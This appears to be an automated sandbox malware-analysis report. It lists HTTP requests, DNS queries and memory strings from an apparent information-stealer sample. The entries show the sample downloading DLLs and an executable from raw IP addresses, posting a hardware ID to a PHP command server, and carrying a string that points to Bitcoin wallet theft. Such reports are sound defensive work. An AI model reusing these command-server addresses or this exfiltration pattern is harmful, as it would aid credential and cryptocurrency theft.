Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 42 41 31 43 31 30 45 46 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="hwid"C1BA1C10EF5F552815863------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="build"drum------AKKEGHJDHDAFHIDHCFHD--

Source: file.exe, 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590242793.00000000018D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2590242793.00000000018D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe#
Source: file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllp
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllN
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll$
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllb
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Z
Source: file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpAUr
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDE
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSU
Source: file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K
Source: file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206667a4575905acade638069a92d17dc9f4fa8303beaac8eb89
Source: skotes.exe, 00000011.00000002.3293653254.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/FX
Source: skotes.exe, 00000011.00000002.3293653254.00000000009DE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJr
Source: skotes.exe, 00000011.00000002.3293653254.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO#
Source: skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpbr
Source: skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~r
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_105.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626962534.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_105.4.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_105.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_105.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_105.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_105.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_105.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_105.4.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_105.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_105.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_105.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2476293698.000000002404F000.00000004.00000020.00020000.00000000.sdmp, BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2476293698.000000002404F000.00000004.00000020.00020000.00000000.sdmp, BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2476293698.000000002404F000.00000004.00000020.00020000.00000000.sdmp, BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
